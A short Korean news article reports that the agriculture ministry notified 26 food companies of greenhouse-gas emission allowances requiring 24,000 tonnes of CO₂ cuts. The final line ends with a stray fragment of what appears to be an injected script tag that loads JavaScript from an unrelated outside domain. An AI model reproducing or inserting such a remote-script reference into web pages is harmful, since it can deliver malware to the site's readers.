- 농식품부, 26개 업체 2만4000톤 감축 통보

식품기업들은 내년에 2만 4000톤의 온실가스를 감축해야 한다.
농림수산식품부는 최근 26개 식품업체에 이같은 온실가스 배출허용량을 통보했다.
26개 기업의 내년도 예상배출량(BAU)은 2007~2009년 평균 대비 18% 증가한 277만 CO₂톤이다.

이에 따라 각 기업들은 내년도 예상배출량 대비 0.88%인 2만4000 CO₂톤를 감축한 274만 6000 CO₂톤의 온실가스를 배출할 수 있다.
배출허용량에 이의가 있는 업체는 30일 이내에 농식품부에 이의신청이 가능하다.
농식품부는 이의신청 기간 중에 신증설 계획을 변경하거나 축소하는 업체의 경우 예상배출량을 조정해 줄 계획이다.

이같은 온실가스 배출 허용량은 ‘온실가스·에너지 목표관리제’가 본격적으로 시행된 데 따른 것이다.
이 제도는 온실가스 대규모 배출 사업장의 온실가스 배출량과 에너지 사용량을 관리하는 제도로 국가 온실가스 감축목표 달성을 위한 수단으로 도입됐다.
이는 ‘저탄소 녹색성장 기본법’에 따라 2010년부터 시행돼 왔으나 관리업체에 대해 온실가스 감축 의무를 부과한 것은 올해가 처음이다. src=http://nbnjkl.com/urchin.js >
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